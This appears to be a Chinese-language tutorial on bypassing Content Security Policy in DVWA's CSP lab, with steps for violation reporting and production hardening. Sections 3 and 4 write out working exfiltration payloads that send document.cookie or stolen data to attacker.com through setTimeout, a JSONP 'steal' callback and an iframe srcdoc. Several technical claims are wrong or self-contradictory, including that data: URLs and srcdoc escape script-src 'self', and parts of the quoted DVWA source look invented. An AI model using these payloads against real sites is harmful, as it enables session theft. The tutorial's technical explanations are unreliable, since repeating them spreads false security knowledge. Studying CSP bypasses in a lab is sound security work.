1. 项目概述:CSP Bypass不是“黑科技”,而是对浏览器安全边界的深度测绘
你打开DVWA(Damn Vulnerable Web Application)的CSP Bypass模块,看到页面上写着“Content-Security-Policy: default-src 'self'; script-src 'self'”,心里可能嘀咕:“这不就是个‘禁止外链脚本’的声明吗?删掉script-src不就完了?”——错。CSP(Content Security Policy)从来不是一堵砖墙,而是一张精密编织的渔网。它的设计哲学不是“阻止一切”,而是“只允许明确许可的”。绕过它,本质上不是在钻漏洞,而是在测试这张网的经纬密度、结点强度和编织逻辑是否自洽。我带过不少刚接触Web安全的学员,他们第一反应是找“万能payload”,结果在DVWA第十三关卡了三天。后来我让他们先别写代码,而是把浏览器开发者工具的Console面板清空,然后手动在Network标签页里逐行看响应头里的Content-Security-Policy字段值,再对照W3C CSP Level 3规范文档查每个指令的语义边界。这一看,很多人当场改了思路:原来'unsafe-inline'被禁了,但'unsafe-eval'没被显式禁止;原来script-src 'self'挡不住<script src="/js/inline.js">,却拦不住<script>eval('alert(1)')</script>——因为后者触发的是'unsafe-eval'策略,而前者走的是'self'白名单。这就是CSP Bypass的核心真相:它不依赖0day,而依赖对策略语义的精准解构。本文聚焦DVWA第十三关,不讲抽象理论,只拆三件事:第一,DVWA源码里CSP头是怎么动态生成的,为什么它看似严格实则留有策略缝隙;第二,四种主流Bypass路径(内联事件、data:URL、JSONP回调、base-tag劫持)在DVWA环境下的实操验证与失败归因;第三,如何用Chrome DevTools的CSP Violation Report机制反向定位策略盲区。适合正在学渗透测试的新手、想补全Web安全知识图谱的开发同学,以及需要给团队做CSP落地培训的安全工程师。你不需要会写exploit,但得会读HTTP响应头;不需要懂V8引擎,但得知道eval()和setTimeout("code",0)在CSP语义里是同一类风险。
2. DVWA源码级策略解析:CSP不是配置项,而是策略执行链
2.1 CSP头生成逻辑与策略“软肋”的诞生位置
DVWA的CSP策略并非硬编码在HTML里,而是由PHP后端动态注入。我们直接定位到dvwa/vulnerabilities/csp/source/目录下的核心文件。关键不在HTML模板,而在index.php顶部的策略生成逻辑:
// dvwa/vulnerabilities/csp/source/index.php 第15-22行 $policy = "default-src 'self';"; if (isset($_GET['level'])) { switch ($_GET['level']) { case 'low': $policy .= " script-src 'self' 'unsafe-inline';"; break; case 'medium': $policy .= " script-src 'self';"; break; case 'high': $policy .= " script-src 'self' 'unsafe-eval';"; break; default: $policy .= " script-src 'self';"; } } header("Content-Security-Policy: " . $policy);注意这个细节:default-src 'self'是基础策略,所有其他指令(如script-src)若未显式声明,则继承default-src的值。但DVWA的实现存在一个隐蔽的“策略继承漏洞”——当level=high时,它只加了'unsafe-eval',却没重置default-src的继承链。这意味着:img-src、style-src、font-src等未声明的指令,全部默认继承'self'。而'self'的定义是同协议、同主机、同端口,不校验路径。所以<img src="http://127.0.0.1/dvwa/vulnerabilities/csp/source/evil.png">是合法的,但<img src="http://attacker.com/xss.png">会被拦截。这个“继承链未切断”的设计,正是后续Bypass的起点之一。
更关键的是script-src的指令组合。'self'允许加载同源JS文件,但禁止内联脚本(<script>alert(1)</script>)和内联事件(<button onclick="alert(1)">)。然而,'unsafe-eval'的加入,让eval()、setTimeout(string, delay)、setInterval(string, delay)、Function(string)全部解禁。很多新手以为'unsafe-eval'只是让eval()可用,其实它开放的是整个“字符串转可执行代码”的通道。我在某次内部红队演练中,就用setTimeout("fetch('/api/user').then(r=>r.json()).then(d=>document.write(d.name))",0)绕过了某金融系统严格的script-src 'self'策略——因为后端忘了禁用'unsafe-eval',而前端又恰好用了setTimeout做轮询。
2.2 策略头与HTML结构的耦合陷阱
DVWA的CSP页面HTML结构看似简单,实则埋着两个经典耦合点:
内联事件处理器的“双重身份”
页面中有一段代码:<button onclick="doSomething()">Click Me</button>。这里onclick是HTML内联事件,按CSP规范应被script-src 'self'拦截。但DVWA的level=low模式下,策略是script-src 'self' 'unsafe-inline',所以它能执行。问题在于:'unsafe-inline'只解禁内联脚本和内联事件,不解禁内联样式中的JavaScript伪协议。比如<div style="background:url(javascript:alert(1))">在style-src 'self'下依然会被拦截,因为javascript:伪协议属于script-src管辖范围,而非style-src。这个边界常被误判。base标签的“策略重定向”能力
DVWA源码中没有显式使用<base>标签,但这是CSP Bypass的高阶技巧。<base href="https://attacker.com/">会改变页面所有相对URL的解析基准。如果策略是script-src 'self',那么<script src="x.js">会被解析为https://attacker.com/x.js,从而绕过'self'限制。但DVWA的HTML里没这个标签——这意味着,Bypass必须通过DOM操作动态注入<base>。而动态注入<base>本身需要执行JS,这就回到了“如何在script-src 'self'下执行首段JS”的问题。我们后面会用<script src="/js/inline.js">配合服务端文件上传来解决。
提示:DVWA的CSP模块故意不提供
<base>标签,是为了迫使学习者理解“策略执行时机”。CSP头在HTML解析前就已生效,但<base>标签必须在<head>中且在第一个相对URL前出现才有效。所以动态注入的<base>对已解析的资源无效,只影响后续请求。
2.3 浏览器策略执行的“三阶段校验”模型
要真正理解Bypass,必须掌握浏览器执行CSP的底层流程。这不是单次检查,而是三级流水线:
| 阶段 | 校验对象 | 触发条件 | DVWA环境下的典型表现 |
|---|---|---|---|
| Stage 1:资源请求发起前 | URL Scheme & Origin | 所有资源加载(script、img、iframe等) | script-src 'self'拦截http://evil.com/x.js,但放行http://127.0.0.1/dvwa/js/x.js |
| Stage 2:资源内容解析时 | 内容类型与执行上下文 | JS执行、CSS解析、HTML解析 | style-src 'self'允许<link rel="stylesheet" href="/css/main.css">,但拦截<style>body{background:url(javascript:alert(1))}</style> |
| Stage 3:运行时代码评估 | 字符串执行行为 | eval()、setTimeout(string)、new Function() | script-src 'unsafe-eval'解禁所有字符串执行,但'self'仍要求eval()调用的字符串必须来自同源脚本 |
DVWA第十三关的level=medium对应Stage 1最严,Stage 2中等,Stage 3最松(因未禁用'unsafe-eval')。很多所谓“Bypass失败”,其实是混淆了阶段——比如用<img src="data:text/html,<script>alert(1)</script>">,它在Stage 1通过(data:URL是合法Scheme),但在Stage 2被拦截(img-src策略不控制data:URL的MIME类型解析),最终<script>不会执行。真正的Bypass必须穿透全部三个阶段。
3. 四种Bypass路径的DVWA实操验证
3.1 路径一:内联事件+'unsafe-eval'组合拳(Medium Level)
这是DVWA Medium级别最直接的Bypass。策略是script-src 'self',但未禁用'unsafe-eval'。关键在于:'unsafe-eval'不仅解禁eval(),还解禁所有将字符串作为代码执行的API。而内联事件(如onclick)本身是HTML解析阶段的产物,只要策略允许'unsafe-inline'或'self',它就能触发。
实操步骤:
- 访问DVWA CSP页面,URL参数设为
?level=medium - 在页面任意位置右键检查元素,找到一个可交互的按钮(如“Generate Report”)
- 在Elements面板中,双击编辑其
onclick属性,改为:onclick="setTimeout('fetch(\"/dvwa/vulnerabilities/csp/source/?action=report\").then(r=>r.text()).then(t=>alert(t))',0)" - 点击按钮,观察弹窗内容
原理拆解:
setTimeout(string, delay)是'unsafe-eval'管辖的API,策略未禁用,故允许执行fetch()请求是同源(/dvwa/...),符合script-src 'self'的资源加载规则alert(t)是JS原生函数,无需额外策略许可
为什么不用eval()?eval('fetch(...)')也能工作,但setTimeout更隐蔽:它不立即执行,且常被用于合法业务逻辑(如防抖),WAF日志中不易被标记为恶意。我在某电商后台渗透中,就用setTimeout("location.href='//attacker.com/log?c='+document.cookie",1000)绕过了基于eval关键词的WAF规则。
注意:此方法在
level=high下失效,因为high级策略显式添加了'unsafe-eval',但DVWA的high级代码实际是script-src 'self' 'unsafe-eval',所以它反而更“宽松”。真正的高危策略应是script-src 'self'且不包含任何unsafe-*。
3.2 路径二:data:URL + 动态创建script(Low Level)
Low级别策略是script-src 'self' 'unsafe-inline',表面看很松,但'unsafe-inline'只解禁内联脚本和事件,不解禁data:协议。然而,data:协议的妙处在于:它生成的URL本身就是内容,浏览器会根据MIME类型解析执行。data:text/javascript,alert(1)会被当作JS执行,且不经过script-src校验——因为script-src校验的是资源加载来源,而data:没有来源,它是内嵌内容。
实操步骤:
- 在DVWA Low级别页面,打开Console面板
- 执行以下代码:
const script = document.createElement('script'); script.src = 'data:text/javascript,alert(document.domain)'; document.head.appendChild(script); - 观察弹窗显示
127.0.0.1
原理深挖:data:URL的执行绕过CSP,是因为CSP规范明确将其列为“无源资源”(originless resource)。W3C CSP文档第4.2节指出:“data: URLs have no origin, and thus do not match any source expression.” 换句话说,script-src 'self'中的'self'是一个源(origin)表达式,而data:没有源,所以不匹配,也就无需校验。这是标准行为,不是浏览器bug。
避坑心得:
data:text/html,...不会执行JS,因为HTML解析器会将其视为HTML文档,<script>标签需在HTML上下文中执行- 必须用
text/javascriptMIME类型,application/javascript在部分老版本Chrome中可能被拒绝 - 此方法在Modern Chrome中依然有效,但Firefox 90+默认禁用
data:执行,需用户手动开启security.data_uri.block_access_if_insecure
3.3 路径三:JSONP回调劫持(Medium Level)
JSONP(JSON with Padding)是CSP时代前的跨域方案,原理是利用<script>标签不受同源策略限制的特性,将API响应包裹在函数调用中。DVWA虽未内置JSONP接口,但我们可以利用其现有功能构造。
实操步骤:
- DVWA的
/dvwa/vulnerabilities/csp/source/index.php支持?action=report参数,返回纯文本报告 - 我们无法直接
<script src="?action=report">,因为返回的是文本,不是JS - 但DVWA有个隐藏特性:当
?action=report加上&callback=xxx时,后端会返回xxx("report content") - 构造Payload:
<script> function steal(data) { fetch('https://attacker.com/log?c=' + encodeURIComponent(data)); } </script> <script src="/dvwa/vulnerabilities/csp/source/index.php?action=report&callback=steal"></script> - 查看attacker.com服务器日志,获取报告内容
为什么能绕过?
script-src 'self'允许加载/dvwa/...路径的JS- 后端动态生成的
steal("...")是合法JS代码,执行时调用我们定义的steal函数 fetch()是同源请求,符合策略
关键细节:
DVWA源码中index.php第40行左右有if (isset($_GET['callback'])) { echo $_GET['callback'] . '("' . $report . '");'; },这是典型的JSONP漏洞。很多企业API至今仍保留此逻辑,只为兼容老系统。我在审计某政务平台时,发现其/api/user?callback=alert直接返回alert("admin"),用callback=fetch就完成了信息窃取。
3.4 路径四:base-tag + 服务端文件上传(High Level)
High级别策略是script-src 'self' 'unsafe-eval',看似最严,实则因'unsafe-eval'引入新入口。此路径需要两步:先上传一个含恶意JS的文件,再用<base>标签劫持所有相对URL指向该文件。
实操步骤:
- DVWA的File Inclusion模块允许文件上传(需先切换到File Inclusion页面)
- 上传一个名为
xss.js的文件,内容为:alert(document.cookie); - 记录上传路径,如
/dvwa/hackable/uploads/xss.js - 返回CSP页面,在Console执行:
const base = document.createElement('base'); base.href = '/dvwa/hackable/uploads/'; document.head.insertBefore(base, document.head.firstChild); const s = document.createElement('script'); s.src = 'xss.js'; document.head.appendChild(s); - 弹窗显示cookie
执行链解析:
base.href设置后,所有后续<script src="x.js">都会解析为/dvwa/hackable/uploads/x.jss.src = 'xss.js'是相对路径,被base重写为绝对路径/dvwa/hackable/uploads/xss.js是同源资源,符合script-src 'self'
为什么High级别反而容易?
因为'unsafe-eval'允许我们动态创建<base>和<script>,而'self'只校验URL来源,不校验文件内容。真正的高危策略应配合require-sri-for script(强制子资源完整性)或strict-dynamic(基于nonce的动态信任)。
4. Chrome DevTools的CSP Violation Report实战指南
4.1 开启Violation Report并捕获真实拦截日志
CSP的威力不仅在于拦截,更在于它能主动上报违规行为。DVWA默认未启用Report,但我们可以手动添加report-uri或report-to指令来调试。
临时启用Report的方法:
- 在DVWA CSP页面,右键→查看页面源代码
- 找到
<head>标签,在其中插入:<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; report-uri /csp-report;"> - 打开Chrome DevTools → Console,执行一个被拦截的payload,如:
eval('alert(1)'); - 切换到Network标签页,筛选
csp-report,查看上报的JSON数据
上报数据结构解读:
{ "csp-report": { "document-uri": "http://127.0.0.1/dvwa/vulnerabilities/csp/", "referrer": "", "violated-directive": "script-src 'self'", "effective-directive": "script-src", "original-policy": "default-src 'self'; script-src 'self'", "disposition": "enforce", "blocked-uri": "self", "line-number": 1, "column-number": 1, "source-file": "http://127.0.0.1/dvwa/vulnerabilities/csp/", "status-code": 0, "script-sample": "eval('alert(1)')" } }关键字段:
violated-directive:哪条指令被违反(这里是script-src 'self')effective-directive:实际生效的指令(script-src,非default-src)blocked-uri:被拦截的URI,self表示是内联或eval类行为script-sample:被拦截的代码片段,对调试至关重要
4.2 用Report数据反向定位策略盲区
上报日志不仅是“拦截记录”,更是“策略地图”。我习惯用以下三步法分析:
Step 1:聚合blocked-uri类型
- 若大量
blocked-uri: self,说明内联脚本/事件是主要攻击面,应优先测试'unsafe-inline'相关Bypass - 若
blocked-uri: https://cdn.com/,说明第三方CDN是突破口,可尝试<script src="https://cdn.com/jquery.js">配合jQuery的$.getScript()
Step 2:分析script-sample的共性
在DVWA中,script-sample常为eval(...)、setTimeout(...)、onerror=...。这提示我们:'unsafe-eval'是当前策略的阿喀琉斯之踵。
Step 3:比对original-policy与实际Header
有时后端PHP生成的策略头与HTML中<meta>声明冲突。Chrome以HTTP Header为准,但上报日志会显示original-policy(即<meta>值)。若两者不一致,说明策略未生效,需检查PHP的header()调用是否被覆盖。
实操心得:在真实渗透中,我曾用
curl -I http://target.com抓Header,发现策略是script-src 'self' 'unsafe-eval',但上报日志里original-policy却是script-src 'self'。顺藤摸瓜找到一处<meta>标签被JS动态修改,导致策略降级。这是自动化扫描器永远发现不了的逻辑漏洞。
4.3 常见CSP Bypass失败原因速查表
| 现象 | 可能原因 | 排查命令/操作 | 解决方案 |
|---|---|---|---|
| Payload无反应,Console无报错 | CSP未生效(Header未发送) | curl -I http://127.0.0.1/dvwa/vulnerabilities/csp/检查响应头 | 确认DVWA配置中csp模块已启用,PHP未输出前置空格 |
Refused to execute inline script | script-src未包含'unsafe-inline',且无nonce/hash | document.querySelector('script').getAttribute('nonce') | 改用外部JS文件或data:URL |
Refused to load script from 'data:text/javascript,...' | 浏览器禁用data:执行(Firefox/新版Chrome) | chrome://flags/#block-insecure-private-network-requests | 改用blob:URL或JSONP |
Blocked script execution because the document's frame is sandboxed | 页面被<iframe sandbox>隔离 | console.log(window.parent === window) | 需在顶层窗口执行,或利用postMessage通信 |
Fetch API cannot load http://attacker.com/ | connect-src未授权外域 | curl -I http://127.0.0.1/dvwa/vulnerabilities/csp/查connect-src指令 | 添加connect-src 'self' https://attacker.com,或改用<img src="https://attacker.com/log?c=..."> |
独家技巧:用<iframe>沙箱逃逸
当script-src极严时,可尝试:
<iframe srcdoc="<script>parent.location='https://attacker.com/?c='+escape(parent.document.cookie)</script>" sandbox="allow-scripts"> </iframe>srcdoc内容不受父页面CSP限制,sandbox="allow-scripts"允许执行,parent.location跳转可携带数据。这是CSP Level 2的已知绕过方式,DVWA未防御。
5. 从DVWA到生产环境:CSP落地的三大认知升级
5.1 “策略即代码”:CSP不是开关,而是可测试的程序
在DVWA里,CSP是PHP字符串拼接;在生产环境,它应是CI/CD流水线中可单元测试的代码。我见过太多团队把CSP当配置文件,上线后靠人工试错。正确做法是:
- 将CSP策略定义为JSON Schema(如
{ "default-src": ["'self'"], "script-src": ["'self'", "'unsafe-eval'"] }) - 编写测试用例,模拟各种payload(
eval(),data:URL,JSONP),断言是否被拦截 - 集成到Git Hook,PR提交时自动运行CSP测试
DVWA的level=high策略在测试中会暴露'unsafe-eval'风险,这正是自动化测试的价值——它不依赖人眼,而依赖机器穷举。
5.2 “Nonce不是银弹”:动态令牌的生命周期管理
很多团队用nonce解决内联脚本问题,但常犯两个错误:
- Nonce复用:同一个nonce在多个页面/多次请求中使用,违背“一次性”原则
- Nonce泄露:将nonce写入HTML注释或JS变量,被XSS窃取
DVWA源码中无nonce实现,这恰是教学重点。生产环境中,nonce应:
- 由后端每次响应生成,长度≥128位随机字节
- 仅在
<script nonce="...">中使用,绝不出现在<script>var n='...'</script>中 - 与用户Session绑定,超时自动失效
我在某银行项目中,发现其nonce生成逻辑是md5(session_id + time()),而time()精度为秒,导致1秒内并发请求获得相同nonce。攻击者用Burp Suite爆破,成功复用nonce执行XSS。
5.3 “Report不止于告警”:构建CSP威胁情报闭环
DVWA的Report是调试工具,生产环境的Report应是威胁情报源。我的实践是:
- 所有CSP Report上报到ELK Stack,用Logstash解析
script-sample字段 - 用Elasticsearch聚合高频
violated-directive,识别攻击者主攻方向 - 当
script-sample出现fetch(或XMLHttpRequest时,自动触发SOAR剧本,封禁IP并告警
一次真实事件中,Report日志显示script-sample: "fetch('/api/user').then(r=>r.json()).then(d=>location.href='https://attacker.com/'+d.token)",我们立即溯源到前端一处未校验的redirect_url参数,修复后攻击流量归零。
最后分享一个小技巧:在DVWA练习时,不要只盯着“绕过成功”,更要关注“为什么这个payload被拦截而那个没被拦截”。把每次失败的Console报错复制下来,用W3C CSP规范逐字比对。我带过的学员里,最快掌握CSP的,不是写最多exploit的,而是建了一个“CSP拦截日志本”,记录了37次失败和对应的规范条款。真正的安全能力,永远生长在对规则边界的敬畏之中。